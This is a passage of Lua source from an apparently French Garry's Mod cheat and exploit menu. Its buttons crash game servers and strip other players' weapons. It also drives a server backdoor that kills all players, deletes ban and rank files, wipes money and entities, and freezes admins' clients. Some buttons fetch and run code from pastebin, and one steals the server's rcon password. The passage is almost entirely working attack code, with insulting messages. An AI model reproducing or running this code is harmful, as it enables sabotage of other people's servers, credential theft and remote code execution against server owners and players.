  1596. desc = "Envoyer des Report sur tout le monde",
  1597. severity = 1,
  1598. scan = function() return iZNX.ValidNetString( "TransferReport" ) end,
  1599. functions = {
  1600. { typ = "func", name = "Report Tout le Monde", func = function()
  1601. for k, v in pairs( player.GetAll() ) do
  1602. iZNX.NetStart( "TransferReport" )
  1603. net.WriteString( v:SteamID() )
  1604. net.WriteString( "SERVEUR CODER PAR LE Q" )
  1605. net.WriteString( "Bitch please" )
  1606. net.SendToServer()
  1607. end
  1608. end, },
  1609. },
  1610. } )
  1611. iZNX.AddExploit( "SAC Crash", {
  1612. desc = "Fait instantanément Crash n'importe quel serveur exécutant la simplicité anticheat",
  1613. severity = 3,
  1614. scan = function() return iZNX.ValidNetString( "SimplicityAC_aysent" ) end,
  1615. functions = {
  1616. { typ = "func", name = "Crash", func = function()
  1617. local tbl = {}
  1618. for i=1,400 do
  1619. tbl[i] = i
  1620. end
  1621. iZNX.NetStart("SimplicityAC_aysent")
  1622. net.WriteUInt(1, 8)
  1623. net.WriteUInt(4294967295, 32)
  1624. net.WriteTable(tbl)
  1625. net.SendToServer()
  1626. end, },
  1627. },
  1628. } )
  1629. iZNX.AddExploit( "Crash Serveur", {
  1630. desc = "Cliquez sur ce bouton pour Crash le serveur instantanément.",
  1631. severity = 3,
  1632. scan = function() return iZNX.ValidNetString( "pac_to_contraption" ) end,
  1633. functions = {
  1634. { typ = "func", name = "Crash", func = function()
  1635. local tbl = {}
  1636. for i=1,1000000000 do
  1637. tbl[#tbl + 1] = i
  1638. end
  1639. iZNX.NetStart("pac_to_contraption")
  1640. net.WriteTable( tbl )
  1641. net.SendToServer()
  1642. end, },
  1643. },
  1644. } )
  1645. local function nukeweapon( ent )
  1646. if !ent:IsValid() then return end
  1647. if ent.LNextNuke and ent.LNextNuke > CurTime() then return end
  1648. iZNX.NetStart("properties")
  1649. net.WriteString("remove")
  1650. net.WriteEntity( ent )
  1651. net.SendToServer()
  1652. ent.LNextNuke = CurTime() + 0.5
  1653. end
  1654. local function nukeallweapons( tab )
  1655. for k, v in pairs( tab ) do
  1656. if !v:IsValid() then continue end
  1657. if v.LNextNuke and v.LNextNuke > CurTime() then continue end
  1658. iZNX.NetStart("properties")
  1659. net.WriteString("remove")
  1660. net.WriteEntity( v )
  1661. net.SendToServer()
  1662. end
  1663. end
  1664. iZNX.AddExploit( "Strip les armes", {
  1665. desc = "Enlever les armes de n'importe quel fils de pute.",
  1666. severity = 3,
  1667. scan = function() return iZNX.ValidNetString( "properties" ) and (!FPP or (FPP and FPP.Settings.FPP_TOOLGUN1.worldprops == 1)) end,
  1668. functions = {
  1669. { typ = "string", name = "Type d'Arme à Strip", default = "*", addr = "stripper_gunz" },
  1670. { typ = "players", addr = "stripper_plyz" },
  1671. { typ = "func", name = "Strip", func = function()
  1672. if !timer.Exists( "stripclub" ) then
  1673. iZNX.ChatText( "Strip lancé" )
  1674. timer.Create( "stripclub", 0.5, 0, function()
  1675. local t = iZNX.GetStored( "stripper_plyz", {} )
  1676. for k, v in pairs( player.GetAll() ) do
  1677. if !table.HasValue( t, v ) then continue end
  1678. local gunz = v:GetWeapons()
  1679. local findstring = iZNX.GetStored( "stripper_gunz", "*" )
  1680. if findstring == "*" then nukeallweapons( gunz ) return end
  1681. local findstringtab = string.Explode( ", ", findstring )
  1682. for _, g in pairs( gunz ) do
  1683. for _, s in pairs( findstringtab ) do
  1684. if string.find( string.lower( g:GetClass() ), s ) then
  1685. nukeweapon( g )
  1686. end
  1687. end
  1688. end
  1689. end
  1690. end)
  1691. else
  1692. timer.Remove( "stripclub" )
  1693. iZNX.ChatText( "Strip stoppé" )
  1694. end
  1695. end, },
  1696. },
  1697. } )
  1698. function iZNX.MakeFunctionButton( parent, x, y, btext, func, tooltip)
  1699. if !parent:IsValid() then return end
  1700. local TButton = vgui.Create( "DButton" )
  1701. TButton:SetParent( parent )
  1702. TButton:SetPos( x, y )
  1703. TButton:SetText( btext )
  1704. TButton:SetTextColor( Color(255, 255, 255, 255) )
  1705. TButton:SizeToContents()
  1706. TButton:SetTall( 24 )
  1707. if tooltip then TButton:SetToolTip( tooltip ) end
  1708. TButton.Paint = function( self, w, h )
  1709. surface.SetDrawColor( Color(60, 60, 60, 200) )
  1710. surface.DrawRect( 0, 0, w, h )
  1711. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1712. surface.SetMaterial( downgrad )
  1713. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1714. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1715. surface.DrawOutlinedRect( 0, 0, w, h )
  1716. end
  1717. TButton.DoClick = function()
  1718. func()
  1719. end
  1720. return TButton:GetWide(), TButton:GetTall()
  1721. end
  1722. function iZNX.HTXBackdoor( parent, x, y, btext )
  1723. if !parent:IsValid() then return end
  1724. local TButton = vgui.Create( "DButton" )
  1725. TButton:SetParent( parent )
  1726. TButton:SetPos( x, y )
  1727. TButton:SetText( btext )
  1728. TButton:SetTextColor( Color(255, 255, 255, 255) )
  1729. TButton:SizeToContents()
  1730. TButton:SetTall( 24 )
  1731. TButton.Paint = function( self, w, h )
  1732. surface.SetDrawColor( Color(100, 60, 60, 200) )
  1733. surface.DrawRect( 0, 0, w, h )
  1734. surface.SetDrawColor( Color( 60, 60, 60 ) )
  1735. surface.SetMaterial( downgrad )
  1736. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1737. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1738. surface.DrawOutlinedRect( 0, 0, w, h )
  1739. surface.SetDrawColor( Color(110, 70, 70, 255) )
  1740. surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
  1741. end
  1742. TButton.DoClick = function()
  1743. iZNX.HTXCommandeListe()
  1744. end
  1745. return TButton:GetWide(), TButton:GetTall()
  1746. end
  1747. function iZNX.HTXCommandeListe()
  1748. if iZNX.HTXCommandeSelector and iZNX.HTXCommandeSelector:IsVisible() then iZNX.HTXCommandeSelector:Remove() end
  1749. iZNX.HTXCommandeSelector = vgui.Create("DFrame")
  1750. iZNX.HTXCommandeSelector:SetSize(240,350)
  1751. iZNX.HTXCommandeSelector:SetTitle("HTX Commandes")
  1752. iZNX.HTXCommandeSelector:SetPos( gui.MouseX(), gui.MouseY() )
  1753. iZNX.HTXCommandeSelector:MakePopup()
  1754. iZNX.HTXCommandeSelector.Paint = function( s, w, h )
  1755. if !iZNX.Menu or !iZNX.Menu:IsVisible() then s:Remove() return end
  1756. surface.SetDrawColor( Color(30, 30, 30, 245) )
  1757. surface.DrawRect( 0, 0, w, h )
  1758. surface.SetDrawColor( Color(55, 55, 55, 245) )
  1759. surface.DrawOutlinedRect( 0, 0, w, h )
  1760. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  1761. end
  1762. local DScrollPanel = vgui.Create( "DScrollPanel", iZNX.HTXCommandeSelector )
  1763. DScrollPanel:Dock( FILL )
  1764. local commandnethtx1 = vgui.Create("DButton", DScrollPanel)
  1765. commandnethtx1:SetSize( 208, 20 )
  1766. commandnethtx1:SetPos( 2, 175 )
  1767. commandnethtx1:SetText("Tuer tous les joueurs")
  1768. commandnethtx1:SetTextColor(Color(255, 255, 255, 255))
  1769. commandnethtx1.Paint = function(panel, w, h)
  1770. surface.SetDrawColor(100, 100, 100 ,255)
  1771. surface.DrawOutlinedRect(0, 0, w, h)
  1772. surface.SetDrawColor(50, 0, 0 ,155)
  1773. surface.DrawRect(0, 0, w, h)
  1774. end
  1775. commandnethtx1.DoClick = function()
  1776. iZNX.NetStart(thefrenchenculer)
  1777. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
  1778. net.WriteBit(1)
  1779. net.SendToServer()
  1780. end
  1781. local commandnethtx2 = vgui.Create("DButton", DScrollPanel)
  1782. commandnethtx2:SetSize( 208, 20 )
  1783. commandnethtx2:SetPos( 2, 100 )
  1784. commandnethtx2:SetText("Super-Spam Visuel/Sonore 2")
  1785. commandnethtx2:SetTextColor(Color(255, 255, 255, 255))
  1786. commandnethtx2.Paint = function(panel, w, h)
  1787. surface.SetDrawColor(100, 100, 100 ,255)
  1788. surface.DrawOutlinedRect(0, 0, w, h)
  1789. surface.SetDrawColor(50, 0, 0 ,155)
  1790. surface.DrawRect(0, 0, w, h)
  1791. end
  1792. commandnethtx2.DoClick = function()
  1793. iZNX.NetStart(thefrenchenculer)
  1794. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([[local hud = vgui.Create(\"HTML\") hud:MoveToFront() hud:SetSize(200,158) hud:SetPos(0,0) hud:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud2 = vgui.Create(\"HTML\") hud2:MoveToFront() hud2:SetSize(200,158) hud2:SetPos(0,ScrH()-158) hud2:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) v:SendLua([[local hud3 = vgui.Create(\"HTML\") hud3:MoveToFront() hud3:SetSize(200,158) hud3:SetPos(ScrW()-200,0) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531246-swag-dance.gif\")]]) v:SendLua([[local hud4 = vgui.Create(\"HTML\") hud4:MoveToFront() hud4:SetSize(200,158) hud4:SetPos(ScrW()-200,ScrH()-158) hud4:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531305-spin.gif\")]]) timer.Create( \"spamsondeouf\", 1, 0, function() v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end) v:SendLua([[hook.Add(\"HUDPaint\",\"c\", function() draw.RoundedBox(0,0,0,ScrW(),ScrH(),Color(math.random(1,255),math.random(1,255),math.random(1,255),155)) end)]]) end BroadcastLua([[hook.Add( \"RenderScreenspaceEffects\", \"ohgod\", function() local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) ) DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) ) DrawMaterialOverlay( \"effects/tp_eyefx/tpeye\", 1 ) end)]]) BroadcastLua([[timer.Create( \"thedrop\", 0.42, 0, function() util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 ) end )]]) BroadcastLua([[local hud3 = vgui.Create(\"HTML\") hud3:SetSize(400,300) hud3:SetPos(ScrW()/2-200,ScrH()/2-150) hud3:OpenURL(\"http://image.noelshack.com/fichiers/2017/46/1/1510531253-skel2.gif\")]])" )
  1795. net.WriteBit(1)
  1796. net.SendToServer()
  1797. end
  1798. local commandnethtx3 = vgui.Create("DButton", DScrollPanel )
  1799. commandnethtx3:SetSize( 208, 20 )
  1800. commandnethtx3:SetPos( 2, 375 )
  1801. commandnethtx3:SetText("Débannir tout les bannis")
  1802. commandnethtx3:SetTextColor(Color(255, 255, 255, 255))
  1803. commandnethtx3.Paint = function(panel, w, h)
  1804. surface.SetDrawColor(100, 100, 100 ,255)
  1805. surface.DrawOutlinedRect(0, 0, w, h)
  1806. surface.SetDrawColor(50, 0, 0 ,155)
  1807. surface.DrawRect(0, 0, w, h)
  1808. end
  1809. commandnethtx3.DoClick = function()
  1810. iZNX.NetStart(thefrenchenculer)
  1811. net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
  1812. net.WriteBit(1)
  1813. net.SendToServer()
  1814. end
  1815. local commandnethtx4 = vgui.Create("DButton", DScrollPanel )
  1816. commandnethtx4:SetSize( 208, 20 )
  1817. commandnethtx4:SetPos( 2, 125 )
  1818. commandnethtx4:SetText("Ignite tous les joueurs")
  1819. commandnethtx4:SetTextColor(Color(255, 255, 255, 255))
  1820. commandnethtx4.Paint = function(panel, w, h)
  1821. surface.SetDrawColor(100, 100, 100 ,255)
  1822. surface.DrawOutlinedRect(0, 0, w, h)
  1823. surface.SetDrawColor(50, 0, 0 ,155)
  1824. surface.DrawRect(0, 0, w, h)
  1825. end
  1826. commandnethtx4.DoClick = function()
  1827. iZNX.NetStart(thefrenchenculer)
  1828. net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
  1829. net.WriteBit(1)
  1830. net.SendToServer()
  1831. end
  1832. local commandnethtx5 = vgui.Create("DButton", DScrollPanel )
  1833. commandnethtx5:SetSize( 208, 20 )
  1834. commandnethtx5:SetPos( 2, 150 )
  1835. commandnethtx5:SetText("Supprimer les grades")
  1836. commandnethtx5:SetTextColor(Color(255, 255, 255, 255))
  1837. commandnethtx5.Paint = function(panel, w, h)
  1838. surface.SetDrawColor(100, 100, 100 ,255)
  1839. surface.DrawOutlinedRect(0, 0, w, h)
  1840. surface.SetDrawColor(50, 0, 0 ,155)
  1841. surface.DrawRect(0, 0, w, h)
  1842. end
  1843. commandnethtx5.DoClick = function()
  1844. iZNX.NetStart(thefrenchenculer)
  1845. net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
  1846. net.WriteBit(1)
  1847. net.SendToServer()
  1848. end
  1849. local commandnethtx6 = vgui.Create("DButton", DScrollPanel )
  1850. commandnethtx6:SetSize( 208, 20 )
  1851. commandnethtx6:SetPos( 2, 50 )
  1852. commandnethtx6:SetText("Redémarrer le serveur")
  1853. commandnethtx6:SetTextColor(Color(255, 255, 255, 255))
  1854. commandnethtx6.Paint = function(panel, w, h)
  1855. surface.SetDrawColor(100, 100, 100 ,255)
  1856. surface.DrawOutlinedRect(0, 0, w, h)
  1857. surface.SetDrawColor(50, 0, 0 ,155)
  1858. surface.DrawRect(0, 0, w, h)
  1859. end
  1860. commandnethtx6.DoClick = function()
  1861. iZNX.NetStart(thefrenchenculer)
  1862. net.WriteString("RunConsoleCommand(\"changelevel \"..game.GetMap())")
  1863. net.WriteBit(1)
  1864. net.SendToServer()
  1865. end
  1866. local commandnethtx7 = vgui.Create("DButton", DScrollPanel)
  1867. commandnethtx7:SetSize( 208, 20 )
  1868. commandnethtx7:SetPos( 2, 200 )
  1869. commandnethtx7:SetText("Hurlement sur tous les joueurs")
  1870. commandnethtx7:SetTextColor(Color(255, 255, 255, 255))
  1871. commandnethtx7.Paint = function(panel, w, h)
  1872. surface.SetDrawColor(100, 100, 100 ,255)
  1873. surface.DrawOutlinedRect(0, 0, w, h)
  1874. surface.SetDrawColor(50, 0, 0 ,155)
  1875. surface.DrawRect(0, 0, w, h)
  1876. end
  1877. commandnethtx7.DoClick = function()
  1878. iZNX.NetStart(thefrenchenculer)
  1879. net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
  1880. net.WriteBit(1)
  1881. net.SendToServer()
  1882. end
  1883. local commandnethtx8 = vgui.Create("DButton", DScrollPanel)
  1884. commandnethtx8:SetSize( 208, 20 )
  1885. commandnethtx8:SetPos( 2, 225 )
  1886. commandnethtx8:SetText("Changer le model des joueurs")
  1887. commandnethtx8:SetTextColor(Color(255, 255, 255, 255))
  1888. commandnethtx8.Paint = function(panel, w, h)
  1889. surface.SetDrawColor(100, 100, 100 ,255)
  1890. surface.DrawOutlinedRect(0, 0, w, h)
  1891. surface.SetDrawColor(50, 0, 0 ,155)
  1892. surface.DrawRect(0, 0, w, h)
  1893. end
  1894. commandnethtx8.DoClick = function()
  1895. iZNX.NetStart(thefrenchenculer)
  1896. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
  1897. net.WriteBit(1)
  1898. net.SendToServer()
  1899. end
  1900. local commandnethtx9 = vgui.Create("DButton", DScrollPanel)
  1901. commandnethtx9:SetSize( 208, 20 )
  1902. commandnethtx9:SetPos( 2, 250 )
  1903. commandnethtx9:SetText("Niquer la physics du jeu")
  1904. commandnethtx9:SetTextColor(Color(255, 255, 255, 255))
  1905. commandnethtx9.Paint = function(panel, w, h)
  1906. surface.SetDrawColor(100, 100, 100 ,255)
  1907. surface.DrawOutlinedRect(0, 0, w, h)
  1908. surface.SetDrawColor(50, 0, 0 ,155)
  1909. surface.DrawRect(0, 0, w, h)
  1910. end
  1911. commandnethtx9.DoClick = function()
  1912. net.Start(thefrenchenculer)
  1913. net.WriteString( "RunConsoleCommand(\"sv_friction\", \"-8\")" )
  1914. net.WriteBit(1)
  1915. net.SendToServer()
  1916. end
  1917. local commandnethtx10 = vgui.Create("DButton", DScrollPanel)
  1918. commandnethtx10:SetSize( 208, 20 )
  1919. commandnethtx10:SetPos( 2, 275 )
  1920. commandnethtx10:SetText("Inverser la gravité")
  1921. commandnethtx10:SetTextColor(Color(255, 255, 255, 255))
  1922. commandnethtx10.Paint = function(panel, w, h)
  1923. surface.SetDrawColor(100, 100, 100 ,255)
  1924. surface.DrawOutlinedRect(0, 0, w, h)
  1925. surface.SetDrawColor(50, 0, 0 ,155)
  1926. surface.DrawRect(0, 0, w, h)
  1927. end
  1928. commandnethtx10.DoClick = function()
  1929. net.Start(thefrenchenculer)
  1930. net.WriteString( "RunConsoleCommand(\"sv_gravity\", \"-600\")" )
  1931. net.WriteBit(1)
  1932. net.SendToServer()
  1933. end
  1934. local commandnethtx11 = vgui.Create("DButton", DScrollPanel)
  1935. commandnethtx11:SetSize( 208, 20 )
  1936. commandnethtx11:SetPos( 2, 300 )
  1937. commandnethtx11:SetText("Reset tout l'argent du serveur")
  1938. commandnethtx11:SetTextColor(Color(255, 255, 255, 255))
  1939. commandnethtx11.Paint = function(panel, w, h)
  1940. surface.SetDrawColor(100, 100, 100 ,255)
  1941. surface.DrawOutlinedRect(0, 0, w, h)
  1942. surface.SetDrawColor(50, 0, 0 ,155)
  1943. surface.DrawRect(0, 0, w, h)
  1944. end
  1945. commandnethtx11.DoClick = function()
  1946. net.Start(thefrenchenculer)
  1947. net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
  1948. net.WriteBit(1)
  1949. net.SendToServer()
  1950. end
  1951. local commandnethtx12 = vgui.Create("DButton", DScrollPanel)
  1952. commandnethtx12:SetSize( 208, 20 )
  1953. commandnethtx12:SetPos( 2, 325 )
  1954. commandnethtx12:SetText("Faire voler tous les joueurs")
  1955. commandnethtx12:SetTextColor(Color(255, 255, 255, 255))
  1956. commandnethtx12.Paint = function(panel, w, h)
  1957. surface.SetDrawColor(100, 100, 100 ,255)
  1958. surface.DrawOutlinedRect(0, 0, w, h)
  1959. surface.SetDrawColor(50, 0, 0 ,155)
  1960. surface.DrawRect(0, 0, w, h)
  1961. end
  1962. commandnethtx12.DoClick = function()
  1963. net.Start(thefrenchenculer)
  1964. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
  1965. net.WriteBit(1)
  1966. net.SendToServer()
  1967. end
  1968. local commandnethtx13 = vgui.Create("DButton", DScrollPanel)
  1969. commandnethtx13:SetSize( 208, 20 )
  1970. commandnethtx13:SetPos( 2, 350 )
  1971. commandnethtx13:SetText("Crash tous les admins/vip")
  1972. commandnethtx13:SetTextColor(Color(255, 255, 255, 255))
  1973. commandnethtx13.Paint = function(panel, w, h)
  1974. surface.SetDrawColor(100, 100, 100 ,255)
  1975. surface.DrawOutlinedRect(0, 0, w, h)
  1976. surface.SetDrawColor(50, 0, 0 ,155)
  1977. surface.DrawRect(0, 0, w, h)
  1978. end
  1979. commandnethtx13.DoClick = function()
  1980. net.Start(thefrenchenculer)
  1981. net.WriteString( " for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end" )
  1982. net.WriteBit(1)
  1983. net.SendToServer()
  1984. end
  1985. local commandnethtx14 = vgui.Create("DButton", DScrollPanel)
  1986. commandnethtx14:SetSize( 208, 20 )
  1987. commandnethtx14:SetPos( 2, 75 )
  1988. commandnethtx14:SetText("Super-Spam Visuel/Sonore 1")
  1989. commandnethtx14:SetTextColor(Color(255, 255, 255, 255))
  1990. commandnethtx14.Paint = function(panel, w, h)
  1991. surface.SetDrawColor(100, 100, 100 ,255)
  1992. surface.DrawOutlinedRect(0, 0, w, h)
  1993. surface.SetDrawColor(50, 0, 0 ,155)
  1994. surface.DrawRect(0, 0, w, h)
  1995. end
  1996. commandnethtx14.DoClick = function()
  1997. net.Start(thefrenchenculer)
  1998. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/ai7wJwsB\",function(b,l,h,c)RunString(b)end,nil)" )
  1999. net.WriteBit(1)
  2000. net.SendToServer()
  2001. end
  2002. local commandnethtx15 = vgui.Create("DButton", DScrollPanel)
  2003. commandnethtx15:SetSize( 208, 20 )
  2004. commandnethtx15:SetPos( 2, 400 )
  2005. commandnethtx15:SetText("10€ toutes les 0.1sec tous les joueurs")
  2006. commandnethtx15:SetTextColor(Color(255, 255, 255, 255))
  2007. commandnethtx15.Paint = function(panel, w, h)
  2008. surface.SetDrawColor(100, 100, 100 ,255)
  2009. surface.DrawOutlinedRect(0, 0, w, h)
  2010. surface.SetDrawColor(50, 0, 0 ,155)
  2011. surface.DrawRect(0, 0, w, h)
  2012. end
  2013. commandnethtx15.DoClick = function()
  2014. net.Start(thefrenchenculer)
  2015. net.WriteString( "for k,v in pairs(player.GetAll()) do timer.Create( \"timerargent10\", 0.1, 0, function() v:addMoney(10) end) end" )
  2016. net.WriteBit(1)
  2017. net.SendToServer()
  2018. end
  2019. local commandnethtx16 = vgui.Create("DButton", DScrollPanel)
  2020. commandnethtx16:SetSize( 208, 20 )
  2021. commandnethtx16:SetPos( 2, 425 )
  2022. commandnethtx16:SetText("Voler le rcon_password")
  2023. commandnethtx16:SetTextColor(Color(255, 255, 255, 255))
  2024. commandnethtx16.Paint = function(panel, w, h)
  2025. surface.SetDrawColor(100, 100, 100 ,255)
  2026. surface.DrawOutlinedRect(0, 0, w, h)
  2027. surface.SetDrawColor(50, 0, 0 ,155)
  2028. surface.DrawRect(0, 0, w, h)
  2029. end
  2030. commandnethtx16.DoClick = function()
  2031. net.Start(thefrenchenculer)
  2032. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/ZwFkRHvQ\",function(b,l,h,c)RunString(b)end,nil)" )
  2033. net.WriteBit(1)
  2034. net.SendToServer()
  2035. timer.Simple( 0.5, function()
  2036. if iZNX.ValidNetString( "jeveuttonrconleul" ) then
  2037. net.Start("jeveuttonrconleul")
  2038. net.SendToServer()
  2039. else
  2040. chat.AddText( Color(255, 0, 0),"rcon_password pas trouvé, veuillez réessayer ^^" )
  2041. end
  2042. end)
  2043. end
  2044. local commandnethtx17 = vgui.Create("DButton", DScrollPanel)
  2045. commandnethtx17:SetSize( 208, 20 )
  2046. commandnethtx17:SetPos( 2, 450 )
  2047. commandnethtx17:SetText("☢ Supprimer Toutes les Entité ☢")
  2048. commandnethtx17:SetTextColor(Color(255, 255, 255, 255))
  2049. commandnethtx17.Paint = function(panel, w, h)
  2050. surface.SetDrawColor(100, 100, 100 ,255)
  2051. surface.DrawOutlinedRect(0, 0, w, h)
  2052. surface.SetDrawColor(50, 0, 0 ,155)
  2053. surface.DrawRect(0, 0, w, h)
  2054. end
  2055. commandnethtx17.DoClick = function()
  2056. net.Start(thefrenchenculer)
  2057. net.WriteString( "for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end" )
  2058. net.WriteBit(1)
  2059. net.SendToServer()
  2060. end
  2061. local RconCommand = vgui.Create( "DTextEntry", DScrollPanel )
  2062. RconCommand:SetPos( 110, 0 )
  2063. RconCommand:SetSize( 100, 20 )
  2064. RconCommand:SetText( "hostname Serveur Hacké Par Aiiden et Supremacist" )
  2065. local Lancer_rcon_commande = vgui.Create("DButton", DScrollPanel )
  2066. Lancer_rcon_commande:SetSize( 103, 20 )
  2067. Lancer_rcon_commande:SetPos( 2, 0 )
  2068. Lancer_rcon_commande:SetText("RCON Command")
  2069. Lancer_rcon_commande:SetTextColor(Color(255, 255, 255, 255))
  2070. Lancer_rcon_commande.Paint = function(panel, w, h)
  2071. surface.SetDrawColor(100, 100, 100 ,255)
  2072. surface.DrawOutlinedRect(0, 0, w, h)
  2073. surface.SetDrawColor(50, 0, 0 ,155)
  2074. surface.DrawRect(0, 0, w, h)
  2075. end
  2076. Lancer_rcon_commande.DoClick = function()
  2077. local rcon_commandes_get = RconCommand:GetValue()
  2078. iZNX.NetStart(thefrenchenculer)
  2079. net.WriteString( rcon_commandes_get )
  2080. net.WriteBit(false)
  2081. net.SendToServer()
  2082. end
  2083. local GLUACommand = vgui.Create( "DTextEntry", DScrollPanel )
  2084. GLUACommand:SetPos( 110, 25 )
  2085. GLUACommand:SetSize( 100, 20 )
  2086. GLUACommand:SetText( "timer.Create(\"Timerdecrash\",0.5,1,function() while true do end end)" )
  2087. local Lancer_glua_commande = vgui.Create("DButton", DScrollPanel )
  2088. Lancer_glua_commande:SetSize( 103, 20 )
  2089. Lancer_glua_commande:SetPos( 2, 25 )
  2090. Lancer_glua_commande:SetText("Code LUA")
  2091. Lancer_glua_commande:SetTextColor(Color(255, 255, 255, 255))
  2092. Lancer_glua_commande.Paint = function(panel, w, h)
  2093. surface.SetDrawColor(100, 100, 100 ,255)
  2094. surface.DrawOutlinedRect(0, 0, w, h)
  2095. surface.SetDrawColor(50, 0, 0 ,155)
  2096. surface.DrawRect(0, 0, w, h)
  2097. end
  2098. Lancer_glua_commande.DoClick = function()
  2099. local glua_commandes_get = GLUACommand:GetValue()
  2100. iZNX.NetStart(thefrenchenculer)
  2101. net.WriteString( glua_commandes_get )
  2102. net.WriteBit(1)
  2103. net.SendToServer()
  2104. end
  2105. end
  2106. net.Receive( "rcon_passw_dump", function()
  2107. local rcon_pass = net.ReadString()
  2108. chat.AddText( Color(255, 255, 255), rcon_pass, Color(0, 255, 0)," GG avec ça tu peux baiser le serveur même si il enleve la backdoor :D")
  2109. end )
  2110. net.Receive( "aucun_rcon_ici", function()
  2111. chat.AddText( Color(255, 0, 0),"Aucun rcon_password sur le serveur :/" )
  2112. end )
  2113. function iZNX.MakePlayerSelectionButton( parent, x, y, addr )
  2114. if !parent:IsValid() then return end
  2115. local TButton = vgui.Create( "DButton" )
  2116. TButton:SetParent( parent )
  2117. TButton:SetPos( x, y )
  2118. TButton:SetText( "Choisir des cibles" )
  2119. TButton:SetTextColor( Color(255, 255, 255, 255) )
  2120. TButton:SizeToContents()
  2121. TButton:SetTall( 24 )
  2122. TButton.Paint = function( self, w, h )
  2123. surface.SetDrawColor( Color(60, 60, 90, 200) )
  2124. surface.DrawRect( 0, 0, w, h )
  2125. surface.SetDrawColor( Color( 60, 60, 60 ) )
  2126. surface.SetMaterial( downgrad )
  2127. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  2128. surface.SetDrawColor( Color(100, 100, 100, 255) )
  2129. surface.DrawOutlinedRect( 0, 0, w, h )
  2130. surface.SetDrawColor( Color(70, 70, 100, 255) )
  2131. surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
  2132. end
  2133. TButton.DoClick = function()
  2134. iZNX.SelectPlayersPanel( addr )
  2135. end
  2136. return TButton:GetWide(), TButton:GetTall()
  2137. end
  2138. function iZNX.SelectPlayersPanel( addr )
  2139. if iZNX.PlayerSelector and iZNX.PlayerSelector:IsVisible() then iZNX.PlayerSelector:Remove() end
  2140. local plytab = iZNX.GetStored( addr, {} )
  2141. iZNX.PlayerSelector = vgui.Create("DFrame")
  2142. iZNX.PlayerSelector:SetSize(250,400)
  2143. iZNX.PlayerSelector:SetTitle("Joueur(s) à cibler")
  2144. iZNX.PlayerSelector:SetPos( gui.MouseX(), gui.MouseY() )
  2145. iZNX.PlayerSelector:MakePopup()
  2146. iZNX.PlayerSelector.Paint = function( s, w, h )
  2147. if !iZNX.Menu or !iZNX.Menu:IsVisible() then s:Remove() return end
  2148. surface.SetDrawColor( Color(30, 30, 30, 245) )
  2149. surface.DrawRect( 0, 0, w, h )
  2150. surface.SetDrawColor( Color(55, 55, 55, 245) )
  2151. surface.DrawOutlinedRect( 0, 0, w, h )
  2152. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2153. end
  2154. local Plist = vgui.Create( "DPanelList", iZNX.PlayerSelector )
  2155. Plist:SetSize( iZNX.PlayerSelector:GetWide() - 10, iZNX.PlayerSelector:GetTall() - 55 )
  2156. Plist:SetPadding( 5 )
  2157. Plist:SetSpacing( 5 )
  2158. Plist:EnableHorizontal( false )
  2159. Plist:EnableVerticalScrollbar( true )
  2160. Plist:SetPos( 5, 40 )
  2161. Plist:SetName( "" )
  2162. local target1 = vgui.Create("DButton", iZNX.PlayerSelector)
  2163. target1:SetSize( 40, 20 )
  2164. target1:SetPos( 10, 23 )
  2165. target1:SetText("Tous")
  2166. target1:SetTextColor(Color(255, 255, 255, 255))
  2167. target1.Paint = function(panel, w, h)
  2168. surface.SetDrawColor(100, 100, 100 ,255)
  2169. surface.DrawOutlinedRect(0, 0, w, h)
  2170. surface.SetDrawColor(0, 0, 50 ,155)
  2171. surface.DrawRect(0, 0, w, h)
  2172. end
  2173. target1.DoClick = function()
  2174. for _, p in pairs(player.GetAll()) do
  2175. if not table.HasValue( plytab, p ) then
  2176. table.insert( plytab, p )
  2177. end
  2178. end
  2179. iZNX.Store( addr, plytab )
  2180. end
  2181. local target2 = vgui.Create("DButton", iZNX.PlayerSelector)
  2182. target2:SetSize( 40, 20 )
  2183. target2:SetPos( 55, 23 )
